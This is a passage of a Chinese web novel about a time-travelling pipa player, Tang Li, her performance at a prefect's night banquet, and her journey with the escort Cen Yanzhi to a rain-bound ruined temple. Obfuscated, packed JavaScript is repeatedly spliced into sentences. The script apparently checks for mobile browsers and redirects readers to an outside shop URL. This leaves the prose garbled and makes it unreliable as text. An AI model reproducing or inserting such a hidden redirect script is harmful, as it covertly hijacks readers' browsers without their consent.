交谈过后才知,对方是家中祖母病重,特向上官批了假,欲回乡探望,正好必经寒州城,感到腹中饥饿,来客栈用些吃食。 “正好今晚寒州首府大人在府中有宴饮,不若与某同去!”曾经的同僚邀请道,岑燕之几番推辞,那人却不松口,无法,只好答应…… 棠鲤赶到昨日苏律住着的楼阁时,又由昨日的若红姑娘引到楼上。一进屋便看到苏律明显同昨日不太一样。 较之昨日,今日鬓发整齐,玉冠也换成了更为精致的款式,一身绣满银色竹纹兰草的华丽墨蓝色长袍映着男人略显阴柔的面孔。 这是棠鲤来到此后见过的第一位长相媲美女子的男人,不禁多看了几眼。 苏律瞧见她在门口,示意棠鲤直接进来。 看着来人仍是一身素色衣裳,面上依旧不施半点粉黛,忍不住叹了一口气…… 嗯? 棠鲤抱着琵琶,随即反应过来,“我确实没什么好看的衣裳……实在是抱歉……” 苏律没说太多,看了看眼前一身姿色而不自知的女子,无奈开口:“先排练吧,午后再说。” 棠鲤狠下了功夫,拿出当时考级时的干劲儿,一曲下来,曲波婉转,未出任何错处。 几番下来已是午时,棠鲤被招待着用了一顿午饭。吃了一口后,棠鲤差点哭出来——真的太久没有吃过这么好的饭菜了…… 用过饭后,苏律率先开口道:“怎么?不合胃口?” “并不是,恰相反……实在是许久没吃这么好吃的饭菜了……多谢苏公子!” 苏律转过头去,只说休憩片刻后继续。 午后再排练时,苏律明显看上去还是不大满意,棠鲤有些疑惑,鉴于害怕自己拿不到报酬,思虑片刻还是直接问出了口。 “笑得不够。太守府的夜宴,来得都是达官贵人,在贵人面前绝不可失礼!况且你这身衣裳,我实在是看不下去了……”苏律双手离开琴弦,拉响了身后墙上的绳子,一阵清脆的铃铛声便立刻传来,不多时,若红便出现在门口。 “棠小娘子请随奴来——” 棠鲤本想推脱,但又看着这身衣裳,虽然不太清楚这个朝代的衣裳形制,但至少从颜色看来确实不太适合夜宴……便起身随若红而去。 棠鲤随她到了走廊尽头的另一个房间,房间内陈设倒是简单,若红领着棠鲤在梳妆镜前坐下,自己则在衣柜中翻找一阵,取出了一套水红色和淡蓝色的衣裙,“棠小娘子喜欢什么颜色?” 棠鲤看着红色和蓝色,指着右边一套说:“这个吧,多谢若红姑娘了。” “那棠小娘子随奴来屏风后更衣,稍后奴再给您绾发。” 棠鲤起初以为只是外衣换上即可,没想到若红让她从里到外都换了新的,棠鲤开始还有些害羞,但看对方都没什么太大的反应,便也不再纠结。 层层叠叠的衣裙确实繁复,光是内里就有三四件需要穿,差不多半柱香的功夫才穿戴整齐。 又在妆镜台前坐下,若红轻手拆开棠鲤随意扎起的长发,将其梳顺后,又在妆盒中选了些朱钗绢花摆在台面上,随后手腕灵巧地将棠鲤的头发尽数挽起,棠鲤不由得有些惊叹。 “若红姑娘手好巧!怎么做到的?” 若红听闻轻轻笑着回答:“棠小娘子若是经常绾发,时间久了便会了。” 随后,她将台上的手势一一小心地插入棠鲤发间,“今日时间有些紧张,只能暂时做些简单的发型,奴来给您上妆……” 若红的手法轻柔,人家如此热情,棠鲤不好要求太多,也没有看画成什么样子,最后她取出口脂,完成了妆容的最后一步。 “成了。” 棠鲤睁开眼,看向镜中的自己——是一种之前不曾有过的样子。 “棠小娘子好颜色!平日里就该多打扮!”若红平日在教坊中见过不少美人,纵使她见多识广,也是被棠鲤的样貌惊得不由得赞叹出口。 棠鲤有些不好意思,但看着自己收拾一番的后的样子,也着实开心,又想起从前,不由得在心中感叹……如今为了去长安寻归家线索,她已是精疲力尽,哪有条件每日打扮呢? 回到琴房,苏律正将身前的茶盏斟满,待看见若红身后跟着走进来的女子后,一时间忘记了动作,竟不小心将茶水撒出来些许…… 起身上下打量棠鲤,最后点点头。 “终于像个女子了,时候不早了,走吧。” 岑燕之与前同僚在客栈叙旧许久,两人说起如今朝中局势,同僚也扼腕叹息良久,只说宦官误国,其他有关圣上、太子之隙却绝口不提。 不知不觉间,又到午时,对方再次提出去坊间酒楼吃酒,岑燕之推脱,“闻兄你知道的,某实在是不善饮酒。” “无妨!你吃菜!我喝酒!”对方都这么豪爽开口,岑燕之只得陪同。 谁承想刚入坊间,来到酒楼前,两人一前一后正要进去,一辆马车从前慢慢驶过。 “青鬃马拉车,寒州少见啊……”同僚说完又向前迈步而去,闻言,岑燕之也瞥了一眼,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224390|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承想,这一眼倒让他不由得站住——方才那马车中的女子,看着颇有些眼熟…… 其实岑燕之眼力极好,确实没有看错,棠鲤跟着苏律和若红出了门后,就上了太守府派来的马车。 第一次做马车,棠鲤不禁左右瞅瞅。 苏律看她样子,笑着开口:“一会儿到了府上,可收着些,莫要东张西望。”这话从前在肃州时,她也听莫安说过…… 棠鲤点点头,安静地抱着琵琶坐端正。 男子又掀着眼帘看了她一眼,没想到只是稍稍打扮,便完全遮不住她的明艳,思及自身,苏律似是自言自语道:“我从前在西京,见过不少女子凭借自身出挑的样貌搏出前程,自此衣食无忧,甚至可以说是形如贵女也不为过,你如何想?” 棠鲤听闻,低头细细思索一番,她不确定苏律这番话的用意,不偏不倚道:“每人的选择不同,若是她愿意,也算是一种造化。” “造化吗?哼——” 棠鲤听出了他语气中嘲讽的意味,不知道是说自己还是他口中的“不少女子”,但她今天这一身衣物都是人家借的,赚钱的机会也是人家给的,多说不宜…… 马车又行驶了片刻,在一处巷子里的后门停下,棠鲤随两人下车,仆从还放了马凳,是以就算是裙子较长也方便。 这应该便是寒城府衙了。 后门打开,一管家打扮的中年男子叉手一礼后恭敬地请他们进入。 若红没有跟来,只是恭敬地在门口处目送他们进去。 两人带着乐器在管家的安排下候在偏厅。 棠鲤一路上看着府中景色,竟比之前周宅气派不少,周围布景似也多了许多讲究。 记得苏律提前交代的话,棠鲤不敢随意乱看,安静地随他坐在偏厅的坐榻上。 “我观你礼仪,似有些不妥之处,你行一礼,我看看。”苏律将古琴放在一边,对棠鲤说道。棠鲤也不否定,她也是来到这里后才习惯叉手礼,还是跟着莫玥儿现学现卖,而玥儿平时又很少讲究,是以她从来没想过这方面的事情…… 站起身来,向苏律行了一礼,苏律则站起身,让她保持叉手的动作,直接上手为她调整细节,还告诉她,若是女子,头部如何做、腕处如何做、腰身又如何做才会更好看。 棠鲤一一点头牢记,还不忘对苏律道谢,面上没有丝毫不悦。 苏律观察她的表情,又叫她再做一遍,才点点头表示肯定。 寒州太守府门前宾客络绎不绝,相熟的见面后纷纷见礼问好,一时之间门前人气儿足,热热闹闹。 岑燕之也随前同僚进入。 来到见客的花厅中,跟着府中仆役指引坐在三排。很快,夜宴开始,侍女依次从两侧迎出为宾客们斟酒,又有一批上前为众人布菜。 很快,夜宴行进到高潮,主人家叫了舞姬上前献舞助兴,岑燕之看过一眼后便收回目光,叫住一侍女,让其换了茶水上桌。 舞蹈方歇,夜宴主人起身说道从西京教坊请了苏公子入府献艺,又将众人的兴致再次推了起来…… 岑燕之从前在京中就很少应酬,偶尔退却不去的,也是清茶淡酒,很快结束,是以对此无甚兴趣,看向一旁兴致勃勃的同僚,倒是笑了笑,他从未变过…… “子安!快看!快看那一并上来的乐妓!当真美绝了!” 子安是岑燕之的字,只有交好的人才会如此亲热称呼,岑燕之衣袖被扯着耳边听着他突然高呼,只当他又喝高了,便抬眼劝酒,话还未出口,目光从厅堂中划过时,竟也一时之间停滞住了动作,薄唇微张,失了言语—— 棠鲤! 11. 饮夜宴 棠鲤入了夜宴厅堂后才发现这与从前周府宴饮截然不同,府中侍女仆从皆毕恭毕敬、井然有序。无论是从赴宴主宾的地位还是府中建筑规格,都很不一般。 她跟着苏律在厅堂中央与府中上座的主人家见礼,也不敢随意抬头看,始终一副微笑着低眉信手的模样,却不知自己今晚已经引得宾客相互议论。 如她这样一心皆在今日之事上,自然是不知岑燕之也在此处。 看着人群前款款落座又素手扶琴的女子,岑燕之捏紧了杯盏,就说怎么两日见不得人影,原来是跟着教坊的人来献艺?此女当真是不知所畏!教坊都是什么地方她不知道吗? 很快,琴声率先响起,接着就是和鸣而起的琵琶音,女子鬓发皆束,露出雪白的脖颈,眉目依旧清丽,不同的是描了眉、涂了唇脂,神色间露出微笑又为本就美丽的容貌添了些许明艳。 素手婉转间,音色悠扬,时而婉转、时而急促…… “曲终收拨当心画”,棠鲤与苏律配合默契,起身向主家与宾客再次致礼。苏律对主家说着贺词,棠鲤无暇听清说的是什么,只因心脏砰砰直跳,她暂时忘记了此行目的,只记得这场演奏的酣畅淋漓之感。 随之四周宾客爆发出赞赏的喝彩声,苏律再次恭敬行礼,棠鲤闻之也连忙跟着照做……转至右边一侧时后排一处坐席悄然空置,无人觉察。 以为献艺到此就结束了,没想到上座的主家遣侍女送上了分量足够的缠头!周遭宾客见状,也纷纷遣身边仆从侍女送上。直至回到偏厅,两人几乎是环抱不住。 “真大方啊……”棠鲤忍不住小声感叹,苏律则是瞥了她一眼,“很少了。” 少?他指的是着堆了一满桌的绫罗绸缎? 棠鲤不由得有些惊讶,但想想苏律是西京来的,确实见过世面,自己又对这个时代的贵族不甚了解,便点点头。 本以为这下结束了就可以离开,谁承想又有侍女来请两人去内院,说是府上女眷们相请。 也是,方才清一色都是大老爷们,女人们都在内院里,时下虽然民风比棠鲤想象中开放,但也还是男女不同席。更何况有身份地位的女眷。 于是缠头暂由侍女保管,两人又跟着去了内院。 与刚才不同,他们被安排着坐在院中花园旁演奏,女眷们皆坐于四方廊下,即使是夜晚点着烛火,也打下竹帘,半遮半掩…… 待到结束已是戌时将过,坊间除了此处都安安静静,本来棠鲤还担心这么晚了会不会回不去客栈,却听苏律开口:“送我们来时的马车已在后门候着,一会儿我叮嘱他先送你回。” “多谢苏公子!不然真不知该怎么回去……”快出府门时,棠鲤背着琵琶,捧着挣来的缠头,似又想到什么,连忙开口:“苏公子,我这身衣裙如何还你?” “问若红吧,她借你穿的。”许是累了,苏律眉头不展,跨过门槛,直接掀帘上了马车,车夫还未来,若红早早就候在一边。 “若红姑娘!今日多亏你这身衣裙我才没有出丑,今日若你不方便,我洗净后连同首饰一并明日还给你!”棠鲤没有着急上车,快步行至若红身前,笑着道。 若红微微吃惊,随后又笑眯眯地说:“这身衣裙和头面若棠小娘子不嫌弃,便送予你了!奴能穿的机会不多。” “这怎么使得?”棠鲤推拒,但若红依旧不肯收回,棠鲤无法,不等她反应过来,便顺手将今日所得缠头全都递到了若红手中。 “若红姑娘,这些便不要推辞了……我往后路途颠簸,带不了太多东西,况且苏公子给的报酬已经很多了。” “那便拿着吧,若红。”苏律的声音从马车中传来,若红回头看了一眼,便不在推辞,转手又从怀中取出一个精致的荷包。 “这是棠小娘子应得的报酬,方才您同公子入府时我便取来了,您点点数。” 绣花的荷包被递了过来,棠鲤伸手接过,没有看里面多少,若红见状只是笑笑不说什么,正巧车夫来了,这才扶着棠鲤上了马车。 行进间,苏律看着面前坐着的女子,“我虽是教坊中人,但若是你想,今后可与我一道,不论是再入府献艺赚银钱或是为你引荐贵人,都比你自己做个散乐强。” 他从小长在教坊,据说他娘怀着他时全家便已获罪,生下他后很快就郁郁而终,但谁知道呢?许是受不了这从云端跌落泥地里的苦,自我了断了去了。 所以他从来就是贱籍,几乎不可能有脱贱从良的可能。 而眼前的女子,虽不知她为何身为良家子却要以乐谋生的真正原因,他也不想追问,但他惜才,愿意拉她一把,毕竟这么多年,他虽然才二十三岁的年纪,却已阅人无数,知道世间大多女子所求不过富贵生活或是合适的夫家。 思及此处,他不等棠鲤回答便道:“若是哪日看上好人家,也可自嫁去,届时嫁妆丰厚,无人敢小看你。” 这样的条件确实优渥,但棠鲤知道自己要的是什么,就如同现在的她身上穿着戴着的终究不是她自己的一样,这里就算是热闹亦或安宁,却终究不是她的家乡。 “苏公子,我之所求,不过是回到家乡,但这一路山高水长,不知何时能还……是以赚些银钱雇人护送。” 言语间,马车到了棠鲤落脚的客栈,棠鲤掀帘,看到熟悉的身影扶着佩刀靠在门前,她不自觉地弯着唇角。 下车站定后,棠鲤再次向苏律行了一礼,聊表谢意。 苏律也看到了客栈门前的男人,随即冲前摆摆手,“那走吧,后会有期。” 竹帘再放下,若红也向棠鲤告别。 夜色中,马车摇摇晃晃,很快就不见踪影。 棠鲤目送他们离去后,来到岑燕之身前,男人早就看到了她,从她下车起的一举一动接纳入眼中。 男人周身气场有些凝固,棠鲤有些纳闷,难道是商队的钱?思及此,棠鲤赶忙从怀中支出一张银票,递了过去。 岑燕之盯着她的动作,看到出现在眼前的银票时,嘴角微微抽搐,又想到什么,语气凉凉地开口:“还去长安否?” 棠鲤簇着黛眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“公子忘了,贱籍如何嫁人……”若红低眉回答道,只要出身贱籍,若无贵人相助或天家赦免,这辈子便无翻身之日,运气最好的,也不过是在富贵人家做个贵妾,若能被主母应允生下一儿半女,便可逃过再次被发卖的命运…… 但,有几人能如此呢? 就算是受追捧尊敬如公子这般,依旧不能逃过命运不是吗? “也对!说到底,瞧不起我等罢了!一个个,高高在上……”苏律不知是否听了若红的话,还是说想到了什么,摇摇晃晃地提着酒壶站起身,失了仪态。倒在榻上眯着眼睛,渐渐地目光迷离,沉沉睡去…… 若红想要去抚着他,但插不上手,公子每个月总有一次会醉得彻底,这一次格外失仪。她悄声上前将倒掉的酒壶扶起,收拢塌边的鞋履,将被衾盖在苏律身上,这才推门出去。 停住在栏杆边,抬头看了看天上的弯月,想起棠小娘子的面庞,若红笑笑,她有预感,日后定会再见,届时她又在哪里?做着什么呢? 12. 雨连天 棠鲤与岑燕之一起离开寒城后,一路上随商队走走停停,不知不觉间就过了大半个月。 随商队行进途中,众人休憩修整时,她曾为哄一哭泣不停的婴孩儿,弹起了小时候学过的童谣并轻轻唱给他听,随后在孩子母亲感谢的目光中又微笑着起身离去。 几日后,两人又与商队在岔路口的小镇金泉驿分别,临别时,经商队首领牵线,在镇中西苑为秋社弹琴。岑燕之则坐在一旁不远处,边喝茶边看着她。期间偶尔有喝多了的男子上前“骚扰”,却都在快过来的一瞬间又默契地转头离去。 秋社本是官府为庆祝秋收的组织的节日,到现在多为民间自发组织了。加之金泉驿仍未近中原,民风相对开放,街上也有三两男女或成群结队共游闹市。 因棠鲤尽力配合,所以客栈东家主动免了她们这几日的房钱。 直到离开金泉驿后,棠鲤才发现,这几日竟是她这近半年来最舒心的一次……所有的一切都在朝自己内心所向稳步前行,仿佛长安城也近在眼前。 谁都没想到由秋入冬竟这般快,棠鲤裹紧了身上的袄子,金泉驿之后他们运气不太好,没有遇到东去长安的商队,岑燕之说入冬后商人们也活动少了,大多开始返乡准备元日。 “元日?”棠鲤有点不明白,最后在岑燕之有些惊讶的眼神中,她好像明白了就是过年的意思…… 按照行程,他们会在年岁前进入原州地界,但突如其来的大雨让两人滞留在了半途的一处驿所。 本想在雨停后立马启程,但三日后依旧大雨连绵,棠鲤站在驿所前有些失落…… 岑燕之则在驿所中与这里的驿丞打了交道,谈话间得知,此去原州的必经之路上有座桥被冲垮了,若是想顺利到达原州,则得绕路走水路,不仅花费多,且时间上还要多近一倍的功夫。 他将这个消息告诉了棠鲤,棠鲤沉默,不知该如何是好,岑燕之看着她有些不知所措的样子,开口道:“可是银钱不太够?” “走水路的话银钱是够得……只是……”棠鲤看着岑燕之,最后还是说出了心中的顾虑:“还有个把月就要元日,你也要归家看望亲人吧?时间上太耽误……况且……我有些怕坐船……” 她小时候随家人一道出游做过一次小游船,因那时风浪较大,掉进了水里,还好船员眼尖,跳进水里将她及时捞上来……不然可能就完了……哪还有现在身穿异世的后话呢? “怕坐船?”岑燕之没想到竟还有事情是此女害怕的,不禁笑出了声。 棠鲤可是清清楚楚地听到了面前男人胸膛中传来的低沉的笑声,有些嗔怒:“万一又掉进水里怎么办?我会吓死的!” “小时候落过水?” 棠鲤点点头,不吭声。岑燕之讶然,不谙世事,却落过水,说出来也是不大信,所以将信将疑。 “放心,若是你不愿走水路,那便等几日,待雨小些时候我们出发。元日……我有很多年没过了。” 他不回家啊……镖师真敬业。 “那桥?” “很快便会修好,官府会管的。届时若不行便再做打算。” 棠鲤表示同意。 老天有眼,第二日未下雨,驿所中与他们一样滞留多日的旅人也在今日准备动身。 一早,两人便也动身出发,午前天虽阴沉,但未降雨,谁成想,刚过午时,瓢泼大雨便倾然而至! 即便是在道旁迅速地找到了一座破旧的建筑避雨,但两人还是被淋了满头,雨水顺着棠鲤的鬓发不断滴下,冷得她双唇颤颤。 岑燕之戴上斗笠,返回雨中将马儿也一并迁入,拴在角落只剩半截的木柱子上。 他从怀中取出一个包得急严实的布包,又从墙角的断壁残垣中捡拾了一些干的木头,很快动作娴熟地将火生了起来。 “好厉害,是火折子吗?”棠鲤从前只是在武侠小说中看过一些作者的描写,没想到今天也能亲眼所见。 岑燕之点点头,迅速将湿透了的外衫脱下,用木棍撑着挂在一旁…… “你也将衣物……”他背对着棠鲤,刚说出口便觉此话不妥,就收住了口,转过头来正想问问她要不要自己避着,却见女子早就脱了外袄,正双手拿着对着火烤,时不时还抖动一下…… 女子听到了他未说完的话,还歪着脑袋作疑惑状。 “我的外衣湿了,我也烤烤。还好你生了火!”棠鲤感叹。 却见岑燕之默默地离开火堆,走到马儿旁,拿出些草料喂它。 殊不知,岑燕之脑子里全方才她外袄下的那一抹盈盈细腰…… 两人就这样围着火堆,身子慢慢暖和起来,棠鲤也将头发拆开烤干后又扎起来,一切动作丝毫没避着岑燕之。 “今天不会要在这里过夜了吧……”棠鲤嘴中喃喃,手撑着脑袋看向岑燕之。 岑燕之走到破了的窗柩前看着外头的天,“亦有可能。”,他又走到火堆前,加了些干柴,天气不太妙,乌云越来越密,丝毫没有停下来的意思。 棠鲤也坐了许久,起身在这破屋中来回走动,走到屋子中间,才发现这里曾经应当是个庙宇,但是中间本应供奉的地方早就倒塌破败,变成一堆乱石…… “岑燕之!这里是官道旁吧?”棠鲤看着在墙角四周拾断木头的男人,开口问道。 被叫了大名的岑燕之眉间微蹙手中顿了一下,很快又恢复如常,随后继续手中的动作,“是的。” 那很奇怪,怎么就荒废了呢? “无人供奉的庙宇,年久失修,当然会就此荒废。”他收集了些木头做柴火,放到火堆旁,棠鲤也从中拿了一根小的放进火中。 “那一定是百姓无暇顾及供奉庙宇吧……”棠鲤自言自语,盯着火光出神。 岑燕之微微偏头深深地看了她一眼,没有说话。 破庙外依旧是大雨滂沱,棠鲤坐着有些腰酸,便将自己的包袱抱在怀中,慢慢合上了眼……不知过了多久,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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棠鲤自然是发现了他们,来到这里久了,她也会观察起人来,比如这一对最后进来的,就像是父子亦或者主仆,但看年轻男子的殷勤劲儿,应当是主仆! 又观这两人衣裳的料子,皆是上乘,想必也是大户人家。 此时众人心中都以为只是暂时再此处避雨,但天色渐暗,外头雨声时大时小,却没有减缓的迹象。 棠鲤已经做好了再次出过夜的打算,将包袱放在一旁倒下的墙壁上,凑合着趴着。 “你困吗?我方才休息了许久,精神头还不错,你要是乏了可以睡一会儿,东西我看着。” 棠鲤开口询问岑燕之,以为他会拒绝,谁承想男人抬眼看了看周围环境,目光扫过四周众人,对棠鲤说:“也好,一个时辰后若我没醒便叫我。” “好,你放心睡吧,我坚持不住了再叫你。”棠鲤柔声说着,这段旅途上,若是遇到风餐露宿的情况,总是他在守夜,这次人多,没必要很警惕,他应当是累了…… 13. 铩琴音 第二日一早,依旧大雨滂沱。 第三日,雨势忽大忽小。 第四日,夜半之时雨有停歇,但寅时又是豪雨如注,又有零星三两旅人入庙躲避。 前一日,有人的柴火都已经烧完了,只好与其他还燃着火堆的人挤挤凑合。 棠鲤心里也不好受,她这几日吃的都是硬邦邦的胡饼,喝的水也只能勉强温温,她真的从来没有过过这样的苦日子……什么时候能离开这里啊? 岑燕之与其他两个年轻力壮的男子尝试过顶着雨往前走走,他让棠鲤与那对夫妻待在一处,两堆火也并起来,又将马留给棠鲤看管,就顶着雨出去了…… 但很快几人就回来了,并且带回了一个令众人很是失望的消息——前面山体崩溃,冲毁了道路。 如此向前进也不行,退也难走,更令人绝望的是,这座破庙的屋顶似是终于不堪重负,有些地方开始漏雨渗水,而且破庙里已经没有干柴了…… “大人,我们眼下该作何打算?马车停在旁边树林中,阿平还在守着。”说话的是先前进来时就彬彬有礼的年轻男子,不安之情早已溢于言表,反观他身边被称为“大人”的老者,则是气定神闲得多。 林轼贤本是要趁着年节前西进祁山探望友人,路过此地大雨连绵不绝,道上泥泞不堪,马车车轮深陷无法再前进,好在林立眼神好,寻到处亮光的“人家”,但走进来才发现是个破庙,透出的亮光也是旅人们点起取暖的…… “天意弄人,且看看……”林轼贤左手抚着胡须,右手持着黄杨木拐轻点地面。 看自家大人都如此淡定,林立倒也不那么着急,“大人放心,我们马车上的吃食都够,再多等几天也是可以的……” “也好,在等一天,若是还无法子前进,便叫阿平持我印信先去前面的州府……” 就在这说话的功夫,他便被对面传来的振振琵琶声吸引了注意。 天气不好、薪柴将尽,大家都有些按捺不住情绪,身边妇人怀中的孩子也似是感受到了父母的不安,扁着嘴哭了出来。 棠鲤将琵琶拿出来,坐在干净的石上,一曲《故梦》慢慢从指尖溢出…… 众人一时间安静了下来,就连那婴孩儿也睁大着双眼看着棠鲤的动作。 她沉浸在琵琶中,回忆起了自己第一次听这首曲子的时候,那时是刚上大学的第一个中秋,因为各种原因没能回家,一个人百无聊赖地躺在宿舍的床上,手机里随机放着首页的歌单,突然,这首曲子就这样跳了出来…… 转眼都好几年了…… 岑燕之最先注意到了破庙中众人的反应,待到婴孩儿哭起来后,才将目光收回,就看见棠鲤不知跟身旁的妇人说了什么,随后便拿出琵琶弹了起来。 他不是第一次听棠鲤弹琴,却不自觉的被她双手“翻舞”的动作吸引,随后目光又滑到了她的面上,此时她正低着眼专注地看着琵琶,偶尔抬头也是看着面前的妇人和孩子。 被困旅途,依旧气定神闲,举手投足间不卑不亢……他摸了摸腰侧的伤处,本身快好的位置却又因为沾了水而隐隐作痛…… 放在腰间佩刀上的手指不自觉地收紧。 “好技艺!如此曲风却是未在京中听过的……” 刚刚结束这曲没多久,身后便有个苍老但气息雄浑的声音吸引了注意力——是林轼贤。 “多谢老先生赞美!”棠鲤抱着琵琶站起身,盈盈一礼。 “小娘子谦虚了,老夫姓林,不知可否有幸再听一曲?”林轼贤拄着拐杖走到棠鲤面前,林立将一处石头拍了拍,扶着他慢慢坐下。 棠鲤看着这对主仆,大人物,不得罪,弹一曲也无妨,于是点头答应。 相安无事至夜半。 最后一丝火苗也终于支持不住,在临近天明时最终熄灭…… 棠鲤还在睡着,直到感觉周身冷意渐浓,迷迷糊糊醒来坐起身才发现火灭了,她看着坐在一旁的岑燕之,“外面下得小了吗?” 岑燕之将怀中的布包递给她,“比昨日小些,若是下午能走,我们立马动身去下面一个城镇。” 棠鲤点点头,顺手接过他递过来的布包,触感温温热热的,打开一看——是块胡饼。 “到了下个地方,我要吃点甜的,届时我请你。”棠鲤捧着这块儿胡饼,目光有些发直……四日了!只有胡饼! 岑燕之被她的话语逗笑了,温声答应。 咽下最后一口饼后,棠鲤站起身在破庙中溜达,眼下没火了,光坐着也不是个事儿,会越来越冷。 正当她眯着眼睛看墙上脱落斑驳的壁画时,前头一道惊呼引得她的注意。 急忙走过去一瞧,是那妇人。 此时竟紧紧抱着怀中的孩儿痛哭流涕,看见众人被自己的惊呼声打扰,只抽泣着说:“这如何是好!孩子起了高热!郎君啊……”她环顾众人,最后还是揪着身边丈夫的衣袖,满眼不知所措。 “怎会起了高热?这——这如何是好?”丈夫也伸手摸着孩儿的额头,果真烧了起来,“怪我怪我!若不是着急返乡……”男人自责无比,但眼下无医无药,他也无可奈何…… “都怪你——这可怎么办?”妇人哭着拍打丈夫,但孩子还不好着,她就算再怪也无济于事。 这时,林轼贤听到了两人的对话,站起身走过来,“莫急,老夫平日博览群书,多少懂些药理,且让老夫看看……” 妇人此时犹如溺水之人抓住了浮木,赶忙将孩子递过去。 林立搀扶着林轼贤蹲下,他伸手触了触孩子的额头和颈部,又将孩子嘴巴掰开,查看片刻道:“风寒入体,吃几味药便能好,但……”他开口段明孩子的病症,但话却没有继续说下去。 围观的众人都知道,坏就坏在此时无法去到城中,跟别说前去医馆或药铺抓药了…… 妇人也反应过来,一时喜悲交加,险些晕了过去,还好丈夫急忙扶着,两人哭着瘫坐在地上…… 棠鲤见此情状难受不已。 角落中在棠鲤两人之后第一个进来的旅人却背着包袱站起身走过来,“某是前头赵家庄的采药人,本是要去镇上医馆卖药,正巧带了治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224393|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风寒的药材……”说着将行囊放下,从层层包裹着油纸的包袱中,拿出了许多炮制好的草药…… “如此甚好!”林轼贤见此抚掌大喜,那夫妇也霎时间燃起了希望,直问几钱。 却见那采药人摆摆手,“我等被大雨困在此,也是同甘共苦的缘分,今次就不收你夫妇二人的钱了,况且小儿消耗不了多少,某还能去镇子上赚上一笔!” 不知是夫妇俩听闻大喜,就连旁观的棠鲤、岑燕之等人也喜上眉梢,林轼贤更是大赞采药人仗义。 “快拿去煎了喂给孩儿!”采药人将草药递到丈夫手中,催促到。 丈夫接过草药,又借了身旁之人的锅斧,却看着脚边已经熄了许久的火堆,问道:“这边的火熄了,诸位谁可还有干柴?” 棠鲤听闻也下意识帮忙查看,但见庙中只有一处柴堆还零星冒着几个火星子,锅斧加上去完全烧不开水…… “水若烧不开,药效恐怕激发不出来啊……”林轼贤瞧着丈夫的动作,抚须喃喃。 一时之间本来燃起的希望气氛又被浇灭,如同这零星之火般,忽明忽暗…… 岑燕之坐回原处,低眉沉思,棠鲤见状也跟着坐了回去,“好像没有干着的柴火了……” “昨日晚就全部加进去了……” “这……”看着妇人再次抱着孩子泪水连连的模样,棠鲤渐渐出神…… 她又想起了在金城外的那次“匪乱”,“岑燕之,还记得‘匪乱’那时我抱着的襁褓吗?” “记得。”男人看着棠鲤没有表情的侧脸,回道,他怎么不记得?明明自己都手无缚鸡之力差点被抓住,却抱着个孩子逃命。 “我很难受,明明他母亲拼着最后一口气把孩子给我了……我却没能救下他……”她终于能开口倾诉心中的内疚与遗憾,声音不由得哽咽,紧紧地抱着琵琶,嘴唇微微颤抖。 岑燕之抬起手,在即将触到她发顶之时,还是不留痕迹地收回了动作,转头看向那边拼命捡拾柴火的夫妇与帮忙的其他人。 “不是你的错,那时候,你急于奔命,本就无暇顾他……更何况……”岑燕之顿了顿,再次开口:“那孩子早就没了气息,在孩子母亲拼尽力气之时便已然丧命。不怪你。” 棠鲤听着岑燕之坚定的话语,眼泪终于涌出眼眶,但她立马伸着袖子擦干眼泪,抱着琵琶起身,站到岑燕之面前,似是再一次确定些什么,看着男人的眼睛,开口:“去长安,你答应的。” “嗯,我答应的。” 岑燕之看着她站到自己眼前,听到自己的回答后,依旧含着水光的一双眼神中又透着一丝坚定,随后不顾地上的泥灰,盘腿坐下—— 琴声不绝于耳,棠鲤似是在给他弹琴,亦或是为自己而弹,映着庙宇外轰隆的雷声、伴着冬雨倾泻林间的长鸣…… 最后一曲终了。 棠鲤站起身,走到一旁的空地上,在岑燕之错愕的目光中高高举起手中的琵琶,决然地砸在地上…… 那镶满螺钿的描漆琵琶,就这样四分五裂,再也发不出任何声响…… 14. 前路明 林轼贤,长安人士,已过耳顺之年,入仕至今三十余载,位在枢机,心忧天下,曾常以“致君尧舜上”为念,每每上言劝诫,然圣上沉迷长生之术,朝臣各立门户,又有阉党攻奸不止。 及至两年前朝中孙元老“死谏长门”之后,他才倍感无力。 后来太子也被卷入这场风波,圣上下令软禁其于太极宫,而他这个太子太师也因教导无方而被罢免,干脆在那时上书乞骸骨,告老还乡…… 殿下还是太过仁慈,顾念手足之情或许是好,但若为一国之君……如今朝中苦苦为太子挣扎的只有挚友张太师了…… 说回此时西进祁山访友之事,竟也如此不顺。 孩子依旧高烧不止,本是幸运地有了草药,但竟然苦于无火煎药!实在令人痛惜…… 